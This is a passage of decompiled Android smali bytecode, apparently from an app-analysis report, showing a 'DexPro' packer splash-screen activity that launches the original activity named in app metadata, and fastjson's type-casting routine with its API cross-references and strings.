                                                15invoke-super {v6, v7}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                                16move-object v6, v0
                                                17const v7, 0x103000e
                                                18try_start_b:
                                                19invoke-virtual {v6, v7}, Landroid/support/dexpro/SplashActivity;->setTheme(I)V
                                                20sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
                                                21const/16 v7, 0x15
                                                22if-le v6, v7, :cond_2a
                                                23move-object v6, v0
                                                25invoke-virtual {v6}, Landroid/support/dexpro/SplashActivity;->getWindow()Landroid/view/Window;
                                                26move-result-object v6
                                                27move-object v3, v6
                                                28move-object v6, v3
                                                29if-eqz v6, :cond_2a
                                                30move-object v6, v3
                                                31const/high16 v7, -0x80000000
                                                33invoke-virtual {v6, v7}, Landroid/view/Window;->addFlags(I)V
                                                34move-object v6, v3
                                                35const v7, -0xbbbbbc
                                                37invoke-virtual {v6, v7}, Landroid/view/Window;->setNavigationBarColor(I)V
                                                38cond_2a: move-object v6, v0
                                                40invoke-virtual {v6}, Landroid/support/dexpro/SplashActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                                                41move-result-object v6
                                                42move-object v7, v0
                                                44invoke-virtual {v7}, Landroid/support/dexpro/SplashActivity;->getPackageName()Ljava/lang/String;
                                                45move-result-object v7
                                                46const/16 v8, 0x80
                                                48invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                                                49move-result-object v6
                                                51iget-object v6, v6, Landroid/content/pm/PackageItemInfo;->metaData:Landroid/os/Bundle;
                                                52move-object v3, v6
                                                53move-object v6, v3
                                                54if-eqz v6, :cond_7d
                                                55move-object v6, v0
                                                56move-object v7, v3
                                                58const-string v8, "eProtect_act"
                                                60invoke-virtual {v7, v8}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                61move-result-object v7
                                                62iput-object v7, v6, Landroid/support/dexpro/SplashActivity;->mOriginalActivityName:Ljava/lang/String;
                                                63move-object v6, v0
                                                65iget-object v6, v6, Landroid/support/dexpro/SplashActivity;->mOriginalActivityName:Ljava/lang/String;
                                                66if-eqz v6, :cond_7d
                                                67move-object v6, v0
                                                69iget-object v6, v6, Landroid/support/dexpro/SplashActivity;->mOriginalActivityName:Ljava/lang/String;
                                                71const-string v7, "."
                                                73invoke-virtual {v6, v7}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                74move-result v6
                                                75if-eqz v6, :cond_7d
                                                76new-instance v6, Ljava/lang/StringBuilder;
                                                77move-object v10, v6
                                                78move-object v6, v10
                                                79move-object v7, v10
                                                81invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                82move-object v4, v6
                                                83move-object v6, v4
                                                84move-object v7, v0
                                                86invoke-virtual {v7}, Landroid/support/dexpro/SplashActivity;->getPackageName()Ljava/lang/String;
                                                87move-result-object v7
                                                89invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                90move-result-object v6
                                                91move-object v6, v4
                                                92move-object v7, v0
                                                94iget-object v7, v7, Landroid/support/dexpro/SplashActivity;->mOriginalActivityName:Ljava/lang/String;
                                                96invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                97move-result-object v6
                                                98move-object v6, v0
                                                99move-object v7, v4
                                                101invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                102move-result-object v7
                                                103iput-object v7, v6, Landroid/support/dexpro/SplashActivity;->mOriginalActivityName:Ljava/lang/String;
                                                104goto_7d: new-instance v6, Landroid/widget/LinearLayout;
                                                105move-object v10, v6
                                                106move-object v6, v10
                                                107move-object v7, v10
                                                108move-object v8, v0
                                                110invoke-direct {v7, v8}, Landroid/widget/LinearLayout;-><init>(Landroid/content/Context;)V
                                                111move-object v3, v6
                                                112move-object v6, v3
                                                114const-string v7, "#263238"
                                                116invoke-static {v7}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
                                                117move-result v7
                                                119invoke-virtual {v6, v7}, Landroid/widget/LinearLayout;->setBackgroundColor(I)V
                                                120new-instance v6, Landroid/support/coreui/app/b/c;
                                                121move-object v10, v6
                                                122move-object v6, v10
                                                123move-object v7, v10
                                                124move-object v8, v0
                                                126invoke-direct {v7, v8}, Landroid/support/coreui/app/b/c;-><init>(Landroid/content/Context;)V
                                                127move-object v4, v6
                                                128move-object v6, v4
                                                130const-string v7, "DexPro"
                                                132invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setParticleText(Ljava/lang/String;)Landroid/support/coreui/app/b/c;
                                                133move-result-object v6
                                                134move-object v6, v4
                                                135move-object v7, v0
                                                137invoke-static {v7}, Landroid/support/coreui/app/__;->getAppName(Landroid/content/Context;)Ljava/lang/String;
                                                138move-result-object v7
                                                140invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setHostText(Ljava/lang/String;)Landroid/support/coreui/app/b/c;
                                                141move-result-object v6
                                                142move-object v6, v4
                                                144const-string v7, "#2E2E2E"
                                                146invoke-static {v7}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
                                                147move-result v7
                                                149invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setBgColor(I)Landroid/support/coreui/app/b/c;
                                                150move-result-object v6
                                                151move-object v6, v4
                                                152const/4 v7, -0x1
                                                154invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setParticleColor(I)Landroid/support/coreui/app/b/c;
                                                155move-result-object v6
                                                156move-object v6, v4
                                                157const/16 v7, 0xe
                                                159invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setParticleTextSize(I)Landroid/support/coreui/app/b/c;
                                                160move-result-object v6
                                                161move-object v6, v4
                                                162const/16 v7, 0x3e8
                                                164invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setTextAnimTime(I)Landroid/support/coreui/app/b/c;
                                                165move-result-object v6
                                                166move-object v6, v4
                                                167const/16 v7, 0x3e8
                                                169invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setSpreadTime(I)Landroid/support/coreui/app/b/c;
                                                170move-result-object v6
                                                171move-object v6, v4
                                                172const/16 v7, 0x3e8
                                                174invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setHostTextAnimTime(I)Landroid/support/coreui/app/b/c;
                                                175move-result-object v6
                                                176move-object v6, v4
                                                178invoke-virtual {v6}, Landroid/support/coreui/app/b/c;->initView()V
                                                179move-object v6, v3
                                                180move-object v7, v4
                                                182invoke-virtual {v6, v7}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V
                                                183move-object v6, v0
                                                184move-object v7, v3
                                                186invoke-virtual {v6, v7}, Landroid/support/dexpro/SplashActivity;->setContentView(Landroid/view/View;)V
                                                187move-object v6, v4
                                                188new-instance v7, Landroid/support/dexpro/SplashActivity$100000000;
                                                189move-object v10, v7
                                                190move-object v7, v10
                                                191move-object v8, v10
                                                192move-object v9, v0
                                                194invoke-direct {v8, v9}, Landroid/support/dexpro/SplashActivity$100000000;-><init>(Landroid/support/dexpro/SplashActivity;)V
                                                196invoke-virtual {v6, v7}, Landroid/support/coreui/app/b/c;->setOnParticleAnimListener(Landroid/support/coreui/app/b/c$ParticleAnimListener;)V
                                                197move-object v6, v4
                                                199invoke-virtual {v6}, Landroid/support/coreui/app/b/c;->startAnim()V
                                                200return-void
                                                201catch_f9: move-exception v6
                                                202move-object v3, v6
                                                203goto/16 :goto_7d
                                                Cross References
                                                APIs
                                                • java.lang.Object.getClass
                                                • java.util.Map.containsKey
                                                • java.lang.Class.isArray
                                                • java.lang.Class.getComponentType
                                                • java.util.Collection.size
                                                • java.lang.reflect.Array.newInstance
                                                • java.util.Collection.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.Class.getComponentType
                                                • java.lang.reflect.Array.set
                                                • java.lang.Object.getClass
                                                • java.lang.Class.isAssignableFrom
                                                • java.lang.Boolean.TYPE:Ljava/lang/Class
                                                • java.lang.Byte.TYPE:Ljava/lang/Class
                                                • java.lang.Short.TYPE:Ljava/lang/Class
                                                • java.lang.Integer.TYPE:Ljava/lang/Class
                                                • java.lang.Long.TYPE:Ljava/lang/Class
                                                • java.lang.Float.TYPE:Ljava/lang/Class
                                                • java.lang.Double.TYPE:Ljava/lang/Class
                                                • java.lang.Class.isEnum
                                                • java.lang.Class.isAssignableFrom
                                                • java.util.Calendar.getInstance
                                                • java.lang.Class.newInstance
                                                • java.util.Calendar.setTime
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.length
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.util.Currency.getInstance
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.Class.getName
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.IllegalArgumentException.<init>
                                                Strings
                                                • can not cast to :
                                                • null
                                                • NULL
                                                • clazz is null
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"<T:",
                                                3"Ljava/lang/Object;",
                                                4">(",
                                                5"Ljava/lang/Object;",
                                                6"Ljava/lang/Class<",
                                                7"TT;>;",
                                                8"Lcom/alibaba/fastjson/parser/ParserConfig;",
                                                9")TT;"
                                                10}
                                                11.end annotation
                                                12const/4 v0, 0x0
                                                13if-nez p0, :cond_4
                                                14return-object v0
                                                15cond_4: if-eqz p1, :cond_19f
                                                17invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                18move-result-object v1
                                                19if-ne p1, v1, :cond_d
                                                20return-object p0
                                                21cond_d: instance-of v1, p0, Ljava/util/Map;
                                                22if-eqz v1, :cond_2b
                                                23const-class v0, Ljava/util/Map;
                                                24if-ne p1, v0, :cond_16
                                                25return-object p0
                                                26cond_16: move-object v0, p0
                                                27check-cast v0, Ljava/util/Map;
                                                28const-class v1, Ljava/lang/Object;
                                                29if-ne p1, v1, :cond_26
                                                31sget-object v1, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                33invoke-interface {v0, v1}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                                                34move-result v1
                                                35if-nez v1, :cond_26
                                                36return-object p0
                                                37cond_26:
                                                38invoke-static {v0, p1, p2}, Lcom/alibaba/fastjson/util/TypeUtils;->castToJavaBean(Ljava/util/Map;Ljava/lang/Class;Lcom/alibaba/fastjson/parser/ParserConfig;)Ljava/lang/Object;
                                                39move-result-object p0
                                                40return-object p0
                                                41cond_2b:
                                                42invoke-virtual {p1}, Ljava/lang/Class;->isArray()Z
                                                43move-result v1
                                                44if-eqz v1, :cond_6a
                                                45instance-of v1, p0, Ljava/util/Collection;
                                                46if-eqz v1, :cond_61
                                                47check-cast p0, Ljava/util/Collection;
                                                48const/4 v0, 0x0
                                                50invoke-virtual {p1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                                                51move-result-object v1
                                                53invoke-interface {p0}, Ljava/util/Collection;->size()I
                                                54move-result v2
                                                56invoke-static {v1, v2}, Ljava/lang/reflect/Array;->newInstance(Ljava/lang/Class;I)Ljava/lang/Object;
                                                57move-result-object v1
                                                59invoke-interface {p0}, Ljava/util/Collection;->iterator()Ljava/util/Iterator;
                                                60move-result-object p0
                                                61goto_48:
                                                62invoke-interface {p0}, Ljava/util/Iterator;->hasNext()Z
                                                63move-result v2
                                                64if-eqz v2, :cond_60
                                                66invoke-interface {p0}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                67move-result-object v2
                                                69invoke-virtual {p1}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                                                70move-result-object v3
                                                72invoke-static {v2, v3, p2}, Lcom/alibaba/fastjson/util/TypeUtils;->cast(Ljava/lang/Object;Ljava/lang/Class;Lcom/alibaba/fastjson/parser/ParserConfig;)Ljava/lang/Object;
                                                73move-result-object v2
                                                75invoke-static {v1, v0, v2}, Ljava/lang/reflect/Array;->set(Ljava/lang/Object;ILjava/lang/Object;)V
                                                76add-int/lit8 v0, v0, 0x1
                                                77goto/16 :goto_48
                                                78cond_60: return-object v1
                                                79cond_61: const-class v1, [B
                                                80if-ne p1, v1, :cond_6a
                                                82invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToBytes(Ljava/lang/Object;)[B
                                                83move-result-object p0
                                                84return-object p0
                                                85cond_6a:
                                                86invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                87move-result-object v1
                                                89invoke-virtual {p1, v1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                90move-result v1
                                                91if-eqz v1, :cond_75
                                                92return-object p0
                                                93cond_75:
                                                94sget-object v1, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                95if-eq p1, v1, :cond_19a
                                                96const-class v1, Ljava/lang/Boolean;
                                                97if-ne p1, v1, :cond_7f
                                                98goto/16 :goto_19a
                                                99cond_7f:
                                                100sget-object v1, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                101if-eq p1, v1, :cond_195
                                                102const-class v1, Ljava/lang/Byte;
                                                103if-ne p1, v1, :cond_89
                                                104goto/16 :goto_195
                                                105cond_89:
                                                106sget-object v1, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                107if-eq p1, v1, :cond_190
                                                108const-class v1, Ljava/lang/Short;
                                                109if-ne p1, v1, :cond_93
                                                110goto/16 :goto_190
                                                111cond_93:
                                                112sget-object v1, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                113if-eq p1, v1, :cond_18b
                                                114const-class v1, Ljava/lang/Integer;
                                                115if-ne p1, v1, :cond_9d
                                                116goto/16 :goto_18b
                                                117cond_9d:
                                                118sget-object v1, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                119if-eq p1, v1, :cond_186
                                                120const-class v1, Ljava/lang/Long;
                                                121if-ne p1, v1, :cond_a7
                                                122goto/16 :goto_186
                                                123cond_a7:
                                                124sget-object v1, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                125if-eq p1, v1, :cond_181
                                                126const-class v1, Ljava/lang/Float;
                                                127if-ne p1, v1, :cond_b1
                                                128goto/16 :goto_181
                                                129cond_b1:
                                                130sget-object v1, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                131if-eq p1, v1, :cond_17c
                                                132const-class v1, Ljava/lang/Double;
                                                133if-ne p1, v1, :cond_bb
                                                134goto/16 :goto_17c
                                                135cond_bb: const-class v1, Ljava/lang/String;
                                                136if-ne p1, v1, :cond_c4
                                                138invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToString(Ljava/lang/Object;)Ljava/lang/String;
                                                139move-result-object p0
                                                140return-object p0
                                                141cond_c4: const-class v1, Ljava/math/BigDecimal;
                                                142if-ne p1, v1, :cond_cd
                                                144invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToBigDecimal(Ljava/lang/Object;)Ljava/math/BigDecimal;
                                                145move-result-object p0
                                                146return-object p0
                                                147cond_cd: const-class v1, Ljava/math/BigInteger;
                                                148if-ne p1, v1, :cond_d6
                                                150invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToBigInteger(Ljava/lang/Object;)Ljava/math/BigInteger;
                                                151move-result-object p0
                                                152return-object p0
                                                153cond_d6: const-class v1, Ljava/util/Date;
                                                154if-ne p1, v1, :cond_df
                                                156invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToDate(Ljava/lang/Object;)Ljava/util/Date;
                                                157move-result-object p0
                                                158return-object p0
                                                159cond_df: const-class v1, Ljava/sql/Date;
                                                160if-ne p1, v1, :cond_e8
                                                162invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToSqlDate(Ljava/lang/Object;)Ljava/sql/Date;
                                                163move-result-object p0
                                                164return-object p0
                                                165cond_e8: const-class v1, Ljava/sql/Timestamp;
                                                166if-ne p1, v1, :cond_f1
                                                168invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToTimestamp(Ljava/lang/Object;)Ljava/sql/Timestamp;
                                                169move-result-object p0
                                                170return-object p0
                                                171cond_f1:
                                                172invoke-virtual {p1}, Ljava/lang/Class;->isEnum()Z
                                                173move-result v1
                                                174if-eqz v1, :cond_fc
                                                176invoke-static {p0, p1, p2}, Lcom/alibaba/fastjson/util/TypeUtils;->castToEnum(Ljava/lang/Object;Ljava/lang/Class;Lcom/alibaba/fastjson/parser/ParserConfig;)Ljava/lang/Object;
                                                177move-result-object p0
                                                178return-object p0
                                                179cond_fc: const-class p2, Ljava/util/Calendar;
                                                181invoke-virtual {p2, p1}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                182move-result p2
                                                184const-string v1, "can not cast to : "
                                                185if-eqz p2, :cond_13c
                                                187invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToDate(Ljava/lang/Object;)Ljava/util/Date;
                                                188move-result-object p0
                                                189const-class p2, Ljava/util/Calendar;
                                                190if-ne p1, p2, :cond_117
                                                192sget-object p1, Lcom/alibaba/fastjson/JSON;->defaultTimeZone:Ljava/util/TimeZone;
                                                194sget-object p2, Lcom/alibaba/fastjson/JSON;->defaultLocale:Ljava/util/Locale;
                                                196invoke-static {p1, p2}, Ljava/util/Calendar;->getInstance(Ljava/util/TimeZone;Ljava/util/Locale;)Ljava/util/Calendar;
                                                197move-result-object p1
                                                198goto/16 :goto_11e
                                                199try_start_117:
                                                200invoke-virtual {p1}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                                                201move-result-object p2
                                                202check-cast p2, Ljava/util/Calendar;
                                                203try_end_11d: move-object p1, p2
                                                204goto_11e:
                                                205invoke-virtual {p1, p0}, Ljava/util/Calendar;->setTime(Ljava/util/Date;)V
                                                206return-object p1
                                                207catch_122: move-exception p0
                                                208new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                209new-instance v0, Ljava/lang/StringBuilder;
                                                211invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                213invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                215invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                216move-result-object p1
                                                218invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                220invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                221move-result-object p1
                                                223invoke-direct {p2, p1, p0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                224throw p2
                                                225cond_13c: instance-of p2, p0, Ljava/lang/String;
                                                226if-eqz p2, :cond_163
                                                227check-cast p0, Ljava/lang/String;
                                                229invoke-virtual {p0}, Ljava/lang/String;->length()I
                                                230move-result p2
                                                231if-eqz p2, :cond_162
                                                233const-string p2, "null"
                                                235invoke-virtual {p2, p0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                236move-result p2
                                                237if-nez p2, :cond_162
                                                239const-string p2, "NULL"
                                                241invoke-virtual {p2, p0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                242move-result p2
                                                243if-eqz p2, :cond_159
                                                244goto/16 :goto_162
                                                245cond_159: const-class p2, Ljava/util/Currency;
                                                246if-ne p1, p2, :cond_163
                                                248invoke-static {p0}, Ljava/util/Currency;->getInstance(Ljava/lang/String;)Ljava/util/Currency;
                                                249move-result-object p0
                                                250return-object p0
                                                251goto_162: return-object v0
                                                252cond_163: new-instance p0, Lcom/alibaba/fastjson/JSONException;
                                                253new-instance p2, Ljava/lang/StringBuilder;
                                                255invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
                                                257invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                259invoke-virtual {p1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                260move-result-object p1
                                                262invoke-virtual {p2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                264invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                265move-result-object p1
                                                267invoke-direct {p0, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                268throw p0
                                                269cond_17c:
                                                270invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToDouble(Ljava/lang/Object;)Ljava/lang/Double;
                                                271move-result-object p0
                                                272return-object p0
                                                273goto_181:
                                                274invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToFloat(Ljava/lang/Object;)Ljava/lang/Float;
                                                275move-result-object p0
                                                276return-object p0
                                                277goto_186:
                                                278invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToLong(Ljava/lang/Object;)Ljava/lang/Long;
                                                279move-result-object p0
                                                280return-object p0
                                                281cond_18b:
                                                282invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToInt(Ljava/lang/Object;)Ljava/lang/Integer;
                                                283move-result-object p0
                                                284return-object p0
                                                285cond_190:
                                                286invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToShort(Ljava/lang/Object;)Ljava/lang/Short;
                                                287move-result-object p0
                                                288return-object p0
                                                289cond_195:
                                                290invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToByte(Ljava/lang/Object;)Ljava/lang/Byte;
                                                291move-result-object p0
                                                292return-object p0
                                                293goto_19a:
                                                294invoke-static {p0}, Lcom/alibaba/fastjson/util/TypeUtils;->castToBoolean(Ljava/lang/Object;)Ljava/lang/Boolean;
                                                295move-result-object p0
                                                296return-object p0
                                                297cond_19f: new-instance p0, Ljava/lang/IllegalArgumentException;
                                                299const-string p1, "clazz is null"
                                                301invoke-direct {p0, p1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                                                302goto/16 :goto_1a8
                                                303goto_1a7: throw p0
                                                304goto_1a8: goto/16 :goto_1a7